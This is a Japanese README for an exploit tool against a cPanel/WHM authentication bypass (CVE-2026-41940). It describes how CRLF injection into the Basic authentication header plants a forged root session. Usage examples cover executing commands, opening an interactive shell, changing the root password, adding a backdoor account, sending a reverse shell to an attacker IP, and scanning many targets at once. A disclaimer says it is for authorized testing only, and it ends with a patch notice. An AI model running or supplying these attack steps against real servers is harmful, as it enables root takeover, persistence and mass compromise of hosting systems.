CVE-2026-41940: cPanel/WHM 認証バイパス (単一ターゲット & マルチターゲット)
免責事項: この文書および関連スクリプト (exploit.py) は、教育目的、セキュリティ研究、および許可を得たペネトレーションテストのためだけに提供されています。所有していないシステム、または明示的なテスト許可がないシステムに対してこのソフトウェアを使用しないでください。
概要
exploit.py は、cPanel & WHM における認証バイパス脆弱性 (CVE-2026-41940) を実証するスクリプトです。この脆弱性により、認証されていない攻撃者が CRLF インジェクションの欠陥を介してデーモンキャッシュにルートセッションを注入し、最終的に有効な認証情報なしでルートレベルの WHM アクセスを取得できます。
脆弱性分析とエクスプロイトの流れ
このエクスプロイトは、Basic 認証処理メカニズム内の CRLF (キャリッジリターン・ラインフィード) インジェクション脆弱性を、セッション伝播の欠陥と組み合わせて利用します。このスクリプトは攻撃を4段階で自動化します:
- 事前認証セッションの生成: 公開ログインエンドポイント (例:
/login/ または /cgi/login.cgi) に接続し、ベースラインの未認証セッションクッキー (whostmgrsession) を取得します。
- CRLFインジェクション: Base64 エンコードされたペイロードを含む細工済みの Basic 認証ヘッダーを送信し、ルートセッションフィールドを直接
cpsrvd セッションキャッシュに注入します。サーバーのリダイレクト応答が生成されたセキュリティトークン (cpsess) を漏えいします。
- セッション伝播: 生のセッションクッキーが認証済み WHM エンドポイントに送信され、
do_token_denied をトリガーして偽造セッションをデーモンキャッシュに伝播させ、有効な認証済みセッションにします。
- 検証: 制限された WHM API エンドポイント (例:
/json-api/version) に偽造セッションを使用してアクセスし、ルートレベルのアクセスを確認します。
前提条件
- Python 3.x
requests ライブラリ
使用方法
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
引数
ターゲット選択
| 引数 | 説明 |
|---|
--target URL | 単一の WHM URL (例: https://target:2087) |
--target-file FILE | ターゲットを含むファイル (1行に1つの ip:port) — チェックモードが自動で有効化されます |
ネットワーク & コアオプション
エクスプロイトオプション (バイパス後)
出力オプション
| 引数 | 説明 |
|---|
--output FILE | セッショントークンと詳細を JSON ファイルに保存 |
例
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
対話型シェルコマンド
--shell 使用時、以下のコマンドが利用可能です:
注意
最新の cPanel/WHM セキュリティパッチを直ちに適用してください。
kill1234545/cve-2026-41940
